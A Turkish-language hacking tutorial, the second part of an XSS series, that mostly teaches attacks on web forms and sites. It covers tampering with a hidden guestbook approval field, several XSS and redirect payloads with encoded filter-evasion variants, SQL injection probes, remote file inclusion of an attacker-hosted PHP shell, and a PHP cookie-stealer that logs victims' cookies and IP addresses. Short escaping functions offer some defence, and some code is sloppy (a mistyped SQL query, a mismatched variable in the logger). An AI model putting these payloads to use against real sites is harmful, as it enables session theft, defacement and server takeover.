Xss Part2

Xss Part2

Daha Önceki Dökümanımızda Xss'ye Giriş Yapmıştık...
Şimdi Biraz Daha Açıkça Anlatalım...
Xss'nin WebProgramcısından Doğan Açıklar Olduğunu İlk Dökümanımda Yazmıştım.

Asp yada Php'de < , > ' gibi betiklerin belirli fonksiyonlarla form'a gönderirken
temiz bir şekilde gönderilir.
<  %3C
>  %3E
' boş bırakılır genelde ama karekteri %27'dir
Biz Ziyaretçi Defteri Üzerinde Açık Aradığımızı Farz Edelim..
Bu Ziyaretçi Defteri Onay yoluyla mesajları yayınladığını farz edelim..
ilk Olarak Sitenin Kaynak Kodlarına Bakmak daha mantıklı olucaktır ,
Sağ Tuş > Kaynağı Görüntüle [bi tık]
bizim işimiz <form> ve </form> arasında ;)
ilk önce kodları biraz inceledikten sonra
<input type="hidden" name="onay" value="Hayır">
Onaysız Olarak Gidiyor...
biz bu kaynak kodlarını text dosyasına kayıt edip
form.htm olark kayıt edelim ve burdaki value="Hayır"'ı Evet Olarak Değiştirelim
yani tam olarak şu şekilde oluyor.
<input type="hidden" name="onay" value="Evet">
bu Mesajımızın Onaylanmadan Geçmesini sağlıyoruz
he şimdi herzaman evet , hayır olarakmı olur ? hayır

<input type="hidden" name="onay" value="Hayır"> yerine
<input type="hidden" name="onay" value="0">

0 = onaysız
1= onaylanmış
<input type="hidden" name="onay" value="1"> mesaj yayında

* Engellemek İçin.
Form'u gönderdiğiniz sayafda gelen verinin hayır ya da 0 olup olmadığını kontrol edin
onuda şu şekilde yapabiliriz.
<%
If yorum_onay = Evet Then
Response.Redirect "hata.asp"
else
end If
%>
yukardaki kod'da eğer gelen veri Evet ise hata.asp sayfamıza yönlendiyoruz

Eğer Daha Bariz Açıklar Varsa
Bizi Pek zorlucak gibi gözükmeyen bir sayfa'da takılıyorsunuz demektir :)

<,>,' gibi karekterlerin filtrelenmemesi sayfanın yönlendirme işleminin pek zor olmayacağına delalettir :)

ilk olarak Defter'de yada ziyaretçilerin mesaj'laşabildiği bir modul'de denenecek olan kelimeleri şu şekilde sıralayabiliriz

<script>alert('rawkmetal')</script>
<image src=rawkmetal.png onload=alert('rawkmetal')>
<span style=top:expression(alert('rawkmetal'))></span>

< > karekterleriin fonksiyondan geçerken temizlendiği verileri ele alalım..

%3Cscript>alert('rawkmetal')%3E/script>
&#x3C;script>alert('rawkmetal')&#x3E;/script>
&#60script>alert('rawkmetal')&#62/script>
gibi bir çok şekilde değiştirebilir..
Bazen Xss'nin Yetersiz Kaldığı yerlerde Sql İnjection devreye girer o diğer dökümanda =)

Sayfayı Yönlendirebilmek için genel sayfa yüklenmeden önce html nin tarayıca'ya yükleceği kod
bu aşağıdakidir..
<script>location="
http://google.com"</script>
Şimdi <body Onload="bizimsite.com"> gibi bir deyim'i en son tarayıcıya yüklücektir.
bazı Hazır Scriptler
<, >,' yerine Sadece Script,script,sCript gibi sadece kelimleri formatlayarak ekrana yazdırır
böyle bir durumda <script>location="
http://google.com"</script> kodumuzu pek işe yarıcak gibi gözükmüyor dimi =)
böyle bir durumda meta'tagını kullanmak daha mantıklı olucaktır...
<meta http-equiv="Refresh" content="1;URL=http://google.com"> şeklinde yazdırmak daha mantıklı olucaktır.

* Engellemek İçin.
Gelen Verilerin Kontrol Edilmesi Şarttır.
* Asp

Bir Fonksiyon Yazalım Bu Fonksiyonla Gelen Verileri Kontrol Edelim
<%
Function SecureEdit (rawkmetal)
rawkmetal = Replace(rawkmetal, "<", "&lt;")
rawkmetal = Replace(rawkmetal, ">", "&gt;")
rawkmetal = Replace(rawkmetal, "'", "`")
SecureEdit = rawkmetal
End Function
%>

* Php
<?php
function xss_clean($var) {
static $find, $replace;
if(empty($find)) {
$find = array('"', '<', '>');
$replace = array('&quot;', '&lt;', '&gt;');
}
$var = preg_replace('/javascript/i', 'java script', $var);
return str_replace($find, $replace, $var);
}
?>
Şimdi Böyle Sadece Kod Yazmakla Olmaz Biraz Açıklayalım ne anlama geldiğini dimi =)
rawkmetal = Replace(rawkmetal, "<", "&lt;")
yazısından'da gördüğünüz gibi
gelen karekter
< ekrana yazdırılırken &lt; şekli alıyor...
&lt; karekteri zararsız'dır < ile aynı işlemi görmez
yani normal bi html sayfası yazarken
&lt;html>
&lt;head>
&lt;title>Created by rawkmetal&lt;/title>
şeklinde yazdıramazsınız zaten denerseniz
ekrana
<html> <head> <title>Created by rawkmetal</title>  şeklinde yazıcaktır Bunu Herhangi bir tarayıcı yorumlamaz

* Sql & Url Attack...

Diğer Bir Yöntem İse Url'de Saptırmalar Yaratık Kullanıcıyı İstediğimiz Yere Göndermek gibi.
bunun için JavaScriptle biraz haşır neşir olmak gerekiyor...

http://hedefsite.com/detay.asp?id=1022 gibi bir URL'ye uygulanabilicek saldırı Türü
Basit Sql Sözcüklerinin Denemesi ile olabilir...

http://hedefsite.com/detay.asp?id='
http://hedefsite.com/detay.asp?id='=1
http://hedefsite.com/detay.asp?id=<script>location="http://google.com"</script>

gibi betikler'le olabilir
php'de ise biraz değişiktir
Remote File İnjection Dediğimiz Başka siteden kod çalıştırmak la olur..
yazımızda ondanda bahsedicem..
Devam Edelim...
Arama Modullerinde ' (tek tırnak) yada "><font%20size=20>by Rawkmetal</font> şeklinde aramalar yapıp bunları
Zone-h'ye kayıt etme çok saçmadır :D
bu modullden faydalanabilmemiz için Arama Modulünde ' (tek tırnak) yada açılan HTML tagını yorumlaması durumunda
Arama Modulunde Sql Cümleleri Kullanabilmemiz Pek'te zor Değildir =)

"Select * From Tabloismi Order by İd Desc;" <== Sql Sözcüğümüz TabloAdındaki Verileri Ekrana Bas Anlamına gelir

"Select * Form Admin Order by id Decs;" ile Admin Tablosunu Ekrana Yazdırılabilir...

Kısaca Özetledik...

* Remote File

Genellikle .php Uzantılı Siteler Üzerinde Shell Çalıştırma Olanağımız Vardır. buda tabbiki site'yi yapan arkadaş sayesinde olur.

http://hedefadres.com/index.php?sayfa=BizKimiz
gibi Zararsız Gözüken bir URL'yi Biraz Değiştirelim...

http://hedefadres.com/index.php?sayfa=http://benimadres.com/xss/remview.php

Biraz Açıklayalım.. Sadece Yazmakla Olmaz!

http://hedefadres.com/index.php?sayfa= Bizim Gideceğimiz Adresi Gösterir
bunu sayfa içerisinde include ederek yapılabilir.

bizKimiz.php sayfası index.php  ye include edilir ve şu şekilde bir Url Çıkar


http://hedefadres.com/index.php?sayfa=BizKimiz

Tabbiki Bunu Yapmak için sadece include kullanmaya gerek yok
Sub'larla yada Case İfadeleriylde böyle bir Url var edilebilir neyse...
Şimdi Olayı Biraz Daha açarak Yazalım...
http://hedefadres.com/index.php?sayfa=http://benimadres.com/xss/remview.php
adresi ekrana yazdırıldığı zaman
bizim sitemizdeki Remview.php dosyası hedef site üzerinde çalıştırılır

ortaya şöyle bir görüntü çıkar..
admin
modules
sayfa
Uyelik
index.php
gibi bu konumda Perm'ler izin verdiği sürece saldırıya devam edilebilir..

http://hedefadres.com/index.php?sayfa=phpinfo gibi değişik düzeneklerde kullanılabilir.

Php'de Karekterler Farklı Şekilde yorumlandığı İçin
Olay sadece URL'de bitmiyor...

Siteyi Ziyaret Eden Şahıslar için mesaj tablosu , Chat , vs... Gibi panolarda kullanılabilicek olanaklar varsa

\x3cimg src="http\x3a//bizimsite.com/test.jpg" name="imaga"\x3e
Şeklinde İmaj tag'ları gibi ;)

bu tarz bi açık'ta Resim görünüyorsa Cookie Çalmak İçten Bile Değil...
Cookie Çoğu Zaman Bizim Anahtar Bağlantı Noktamızdır..
Hazır Scriptlerde büyük olanak sağlar fakat 0'dan yazılmış Scriptler Cookie Bağlantı Noktamızıdır
Çünkü Hazır Scriptleri Localhost'tan Admin Cookie'si vs.. görüntülünebilir
fakat diğer türlü olursa pek'te iç açıcı değil gibi gözüküyor =)

Cookie Çalmak İçin Php Code :

<?php
$cookie = $_GET['koki'];
$aypi = getenv ('REMOTE_ADDR');
$zaman=date("j F, Y, g:i a");
$link=getenv ('HTTP_REFERER');
$fp = fopen('log.htm', 'a');
fwrite($fp, '<tr><td>Cookie: '.$koki.'</td></tr><tr><td> IP: ' .$aypi. '</td></tr><tr><td>Tarih ve Saat ' .$zaman. '</td></tr><tr><td>Geldiği link: '.$link.'</td></tr>');
fclose($fp);
?>

* Korunma Yöntemi
URL'den Gelen Veriyi Kontorl Edin...

-----------------------------------------------------------
Bukadar yeter...
İlerleyen Günler Döküman'lara Devam Edicez
Tutorials Created by Gökhan a.k.a Rawkmetal
Döküman Alıntı Değildir Yapılırsa Kaynak Gösterilisin Yeter.

 

Kaynak: Rawkmetal
Tarih:
Hit: 7518
Yazar: Rawkmetal



Yorumlar


Siftahı yapan siz olun
Yorum yapabilmek için üye girişi yapmalısınız.